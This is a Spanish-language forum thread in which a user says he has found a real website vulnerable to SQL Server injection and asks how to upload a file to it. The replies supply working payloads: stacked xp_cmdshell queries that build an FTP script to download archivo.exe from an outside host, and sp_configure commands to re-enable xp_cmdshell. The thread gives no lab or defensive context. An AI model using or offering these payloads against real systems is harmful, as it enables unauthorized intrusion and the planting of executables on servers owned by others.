Pregunta sobre inyeccion sqlserver.

Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

Foro de elhacker.net

Seguridad Informática

Bugs y Exploits

Nivel Web (Moderadores: sirdarckcat, WHK)

Pregunta sobre inyeccion sqlserver.

0 Usuarios y 1 Visitante están viendo este tema.

Páginas: [1]

Autor

Tema: Pregunta sobre inyeccion sqlserver. (Leído 1,440 veces)

PHAMTOM

Desconectado

Mensajes: 83

0x8B,0xEC,0x33,0xFF

Pregunta sobre inyeccion sqlserver.

« en: 18 Febrero 2010, 04:07 »

Buenas,encontré una pagina vulnerable a sql inyection,SQLSERVER.-

quisiera saber si hay algun metodo , que con la inyeccion subir un archivo de mi pc , al pc remoto vulnerable..

La inyeccion la hago por un formulario..-

Saludos,PHAMTOM


	En línea

Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más

nacho87

Desconectado

Mensajes: 71

Re: Pregunta sobre inyeccion sqlserver.

« Respuesta #1 en: 19 Febrero 2010, 09:16 »

En el remoto caso de que el user sea admin y la inyección permita stacked querys puedes hacer:

Código:

;master..xp_cmdshell 'cmd /c echo get archivo.exe>asd.txt';
;master..xp_cmdshell 'cmd /c echo quit>>asd.txt';
;master..xp_cmdshell 'cmd /c ftp -s:asd.txt ftp.anonimo.com'

Asi te conectas al server anonimo ftp.anonimo.com y te descargas el archivo archivo.exe. Si la BBDD es mssql server 2005 puede que tengas que reactivar el xp_cmdshell. Busca en internet como se hace que ahora mismo no me acuerdo.jeje. son un par de comandos más.

Saludos!!


	En línea

Shell Root

Desconectado

Mensajes: 2.456

Alex Jurado

Re: Pregunta sobre inyeccion sqlserver.

« Respuesta #2 en: 19 Febrero 2010, 19:20 »

Creo que es...

Código

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
 
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE


	En línea

---

Páginas: [1]

Ir a:

Mensajes similares
	Asunto	Iniciado por	Respuestas	Vistas	Último mensaje
	error php con sqlserver PHP	kakashi20	2	295	29 Abril 2012, 03:22 por engelx